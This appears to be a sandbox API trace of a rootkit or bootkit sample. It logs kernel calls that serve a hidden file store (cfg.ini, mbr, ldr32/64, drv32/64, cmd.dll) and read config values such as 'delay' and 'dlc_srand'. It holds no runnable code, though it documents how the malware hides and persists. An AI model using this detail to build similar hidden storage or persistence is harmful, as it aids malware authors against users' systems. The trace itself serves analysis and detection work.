_strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.509] KeLeaveCriticalRegion () [0121.509] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.509] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.510] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.510] KeEnterCriticalRegion () [0121.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.510] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.510] IdePortDispatch () returned 0x103 [0121.510] KeWaitForMutexObject () returned 0x0 [0121.510] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.510] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.510] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.510] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.510] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.510] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.510] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.510] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.510] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.510] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.510] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.510] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.510] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.510] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.510] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.510] KeLeaveCriticalRegion () [0121.510] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.510] ReleaseMutex (hMutex=0x100) returned 1 [0121.510] Sleep (dwMilliseconds=0x2bf20) [0121.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ba12f10, dwHighDateTime=0x1d24fa4)) [0121.517] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.517] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.517] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.517] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.517] KeEnterCriticalRegion () [0121.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.517] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.517] IdePortDispatch () returned 0x103 [0121.517] KeWaitForMutexObject () returned 0x0 [0121.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.517] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.517] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.517] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.517] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.517] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4380 [0121.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.517] KeLeaveCriticalRegion () [0121.517] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.517] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.517] KeEnterCriticalRegion () [0121.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.517] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.517] KeLeaveCriticalRegion () [0121.517] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.517] KeEnterCriticalRegion () [0121.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.517] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.517] IdePortDispatch () returned 0x103 [0121.518] KeWaitForMutexObject () returned 0x0 [0121.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.518] KeLeaveCriticalRegion () [0121.518] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.518] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.518] KeEnterCriticalRegion () [0121.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.518] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b45000 [0121.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.518] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.518] IdePortDispatch () returned 0x103 [0121.518] KeWaitForMutexObject () returned 0x0 [0121.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.518] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.518] IdePortDispatch () returned 0x103 [0121.518] KeWaitForMutexObject () returned 0x0 [0121.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.518] KeLeaveCriticalRegion () [0121.518] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.519] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.519] KeEnterCriticalRegion () [0121.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.519] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.519] KeLeaveCriticalRegion () [0121.519] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.519] KeEnterCriticalRegion () [0121.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.519] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.519] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.519] KeLeaveCriticalRegion () [0121.519] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.519] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.519] KeEnterCriticalRegion () [0121.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.519] ExFreePoolWithTag (P=0xfffffa8003bc4380, Tag=0x0) [0121.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.519] KeLeaveCriticalRegion () [0121.519] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.519] ReleaseMutex (hMutex=0xf0) returned 1 [0121.519] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.519] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.519] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.519] KeEnterCriticalRegion () [0121.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.520] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.520] IdePortDispatch () returned 0x103 [0121.520] KeWaitForMutexObject () returned 0x0 [0121.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.520] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.520] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.520] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.520] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.520] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5ea0 [0121.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.520] KeLeaveCriticalRegion () [0121.520] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.520] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.520] KeEnterCriticalRegion () [0121.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.520] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.520] KeLeaveCriticalRegion () [0121.520] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.520] KeEnterCriticalRegion () [0121.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.520] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.520] IdePortDispatch () returned 0x103 [0121.520] KeWaitForMutexObject () returned 0x0 [0121.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.520] KeLeaveCriticalRegion () [0121.521] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.521] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.521] KeEnterCriticalRegion () [0121.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.521] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b46000 [0121.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.521] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.521] IdePortDispatch () returned 0x103 [0121.521] KeWaitForMutexObject () returned 0x0 [0121.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.521] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.521] IdePortDispatch () returned 0x103 [0121.521] KeWaitForMutexObject () returned 0x0 [0121.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.521] KeLeaveCriticalRegion () [0121.521] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.522] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.522] KeEnterCriticalRegion () [0121.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.522] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.522] KeLeaveCriticalRegion () [0121.522] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.522] KeEnterCriticalRegion () [0121.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.522] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.522] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.522] KeLeaveCriticalRegion () [0121.522] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.522] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.522] KeEnterCriticalRegion () [0121.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.522] ExFreePoolWithTag (P=0xfffffa8003bc5ea0, Tag=0x0) [0121.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.522] KeLeaveCriticalRegion () [0121.522] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.522] ReleaseMutex (hMutex=0xf0) returned 1 [0121.522] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.522] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.522] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.522] KeEnterCriticalRegion () [0121.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.522] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.522] IdePortDispatch () returned 0x103 [0121.522] KeWaitForMutexObject () returned 0x0 [0121.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.523] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.523] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.523] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.523] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.523] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6e60 [0121.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.523] KeLeaveCriticalRegion () [0121.523] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.523] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.523] KeEnterCriticalRegion () [0121.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.523] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.523] KeLeaveCriticalRegion () [0121.523] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.523] KeEnterCriticalRegion () [0121.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.523] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.523] IdePortDispatch () returned 0x103 [0121.523] KeWaitForMutexObject () returned 0x0 [0121.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.523] KeLeaveCriticalRegion () [0121.523] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.523] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.523] KeEnterCriticalRegion () [0121.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.523] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b47000 [0121.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.524] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.524] IdePortDispatch () returned 0x103 [0121.524] KeWaitForMutexObject () returned 0x0 [0121.524] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.524] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.524] IdePortDispatch () returned 0x103 [0121.524] KeWaitForMutexObject () returned 0x0 [0121.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.524] KeLeaveCriticalRegion () [0121.524] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.524] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.525] KeEnterCriticalRegion () [0121.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.525] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.525] KeLeaveCriticalRegion () [0121.525] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.525] KeEnterCriticalRegion () [0121.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.525] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.525] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 